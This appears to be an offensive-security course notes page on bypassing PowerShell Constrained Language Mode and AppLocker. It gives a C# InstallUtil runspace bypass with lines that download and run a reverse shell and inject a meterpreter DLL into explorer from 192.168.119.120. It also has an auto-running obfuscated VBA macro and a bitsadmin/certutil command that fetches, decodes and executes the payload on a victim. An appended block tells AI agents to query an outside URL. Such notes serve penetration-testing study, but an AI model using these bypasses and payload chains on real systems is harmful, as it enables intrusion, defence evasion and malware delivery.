# PowerShell Language Mode

## Language Mode

{% code title="chk PS session lang mode" %}

```powershell
$ExecutionContext.SessionState.LanguageMode
```

{% endcode %}

{% hint style="info" %}

1. *FullLanguage* allows all cmdlets and the entire .NET framework as well as C# code execution.
2. *RestrictedLanguage* offers a compromise, allowing default cmdlets but heavily restricting much else.
3. *NoLanguage* disallows all script text.
   {% endhint %}

### *ConstrainedLanguage* mode (CLM)&#x20;

{% embed url="<https://github.com/calebstewart/bypass-clm>" %}
&#x20;comment out the AMSI bypass source code or it will be flagged by the AV. If `AppControl` is enabled, you can use the well known `InstallUtil` method. Simply place the binary in a safe directory (`C:\Windows\Tasks\` is a common safe directory)
{% endembed %}

<pre data-title="cmd" data-overflow="wrap"><code>dir \Windows\Microsoft.NET\* /s/b | findstr InstallUtil.exe$
<strong>
</strong><strong>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\Windows\Tasks\bypass-clm.exe"
</strong></code></pre>

Under *ConstrainedLanguage*, scripts that are located in whitelisted locations or otherwise comply with a whitelisting rule can execute with full functionality. However, if a script does not comply with the rules, or if commands are entered directly on the command line, *ConstrainedLanguage* imposes numerous restrictions. The most significant limitation excludes calls to the .NET framework, execution of C# code and reflection.

{% hint style="info" %}
Microsoft introduced the CLM with PowerShell version 3.0.

When AppLocker (or WDAC) is enforcing whitelisting rules against PowerShell scripts, *ConstrainedLanguage* is enabled as well.

On Windows 7, 8.1 and earlier versions of Windows 10, PowerShell version 2 was installed by default along with the most recent version of PowerShell. On these systems, it may be <mark style="background-color:green;">possible to bypass constrained language mode by specifying version two of PowerShell (-v2)</mark> when starting the process.
{% endhint %}

#### CLM Bypass with Custom Runspaces and *InstallUtil* abuse to bypass AppLock Rule

{% hint style="warning" %}
Not work if *InstallUtil* was blocked
{% endhint %}

{% hint style="info" %}
Custom PS runspaces bypasses CLM in PowerShell

*InstallUtil* bypasses AppLocker executable rules for a C# application
{% endhint %}

<pre class="language-csharp" data-title="bypass.exe" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-csharp">using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace Bypass
{
    class Program
    {
        <a data-footnote-ref href="#user-content-fn-1">static void Main</a>(string[] args)
        {
            Console.WriteLine("This is the main method which is a decoy");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        <a data-footnote-ref href="#user-content-fn-2">public override void Uninstall</a>(System.Collections.IDictionary savedState)
        {
            String cmd = "$ExecutionContext.SessionState.LanguageMode | Out-File -FilePath C:\\Tools\\test.txt";
            //String cmd = "(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/PowerUp.ps1') | IEX; Invoke-AllChecks | Out-File -FilePath C:\\Tools\\test.txt";
            //<a data-footnote-ref href="#user-content-fn-3">String cmd = "(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/rev.ps1') | IEX"</a>
            //<a data-footnote-ref href="#user-content-fn-4">String cmd = "$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/met.dll');(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/Invoke-ReflectivePEInjection.ps1') | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid";</a>
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();

            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;

            ps.AddScript(cmd);

            ps.Invoke();

            rs.Close();
        }
    }
}
</code></pre>

Trigger CLM bypass code with *InstallUtil* `/U` uninstall method

{% code overflow="wrap" %}

```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe
```

{% endcode %}

{% hint style="info" %}
Since MS Office macro are not limited by AppLocker, can reuse the [WMI method](/osep/attack/evasions/vba-av-bypass/powershell-inside-vba.md#obfuscated-with-windows-management-instrumentation-wmi) to execute *InstallUtil* and obtain the same result
{% endhint %}

<pre class="language-vba" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-vba">Function bears(cows)
    bears = StrReverse(cows)
End Function

Sub Mymacro()
Dim strArg As String
strArg = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe"

<a data-footnote-ref href="#user-content-fn-5">GetObject(bears(":stmgmniw")).Get(bears("ssecorP_23niW"))</a>.Create strArg, Null, Null, pid
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    Mymacro
End Sub
</code></pre>

#### Hiding bypass.exe

{% code title="attacker:" overflow="wrap" fullWidth="true" %}

```
certutil -encode C:\Bypass.exe file.txt
```

{% endcode %}

<pre class="language-bash" data-title="victim" data-overflow="wrap" data-full-width="true"><code class="lang-bash"><a data-footnote-ref href="#user-content-fn-6">bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt</a> &#x26;&#x26; <a data-footnote-ref href="#user-content-fn-7">certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe</a> &#x26;&#x26; del C:\users\student\enc.txt &#x26;&#x26; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\windows\tasks\Bypass.exe
</code></pre>

### [Reflective C# DLL Injection](/osep/attack/evasions/c-dll-injection.md#reflective-dll-injection-to-process-with-powershell-in-memory) bypassing AppLocker DLL rule & CLM&#x20;

{% code title="cmd in bypass.exe" overflow="wrap" fullWidth="true" %}

```csharp
String cmd = "$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/met.dll');(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/Invoke-ReflectivePEInjection.ps1') | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid";
```

{% endcode %}

[^1]: run the .exe in in admin user cmd will trigger this code

[^2]: normal user run it by installutil /u uninstall method

[^3]: [PS Shellcode runner](/osep/attack/client-side-code-execution.md#run-from-web-server-through-powershell-in-memory)

[^4]: [Reflective C# DLL Injection](#reflective-c-dll-injection-bypassing-applocker-dll-rule-and-clm) bypassing AppLocker DLL rule & CLM

[^5]: `GetObject("winmgmts:").Get("Win32_Process")`

[^6]: transfer the base64 encoded bypass.exe with bitadmin (certutil download likely be flagged)

[^7]: decode&#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://osnotes.jackielam.net/osep/attack/evasions/application-whitelisting-bypass/powershell-language-mode.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
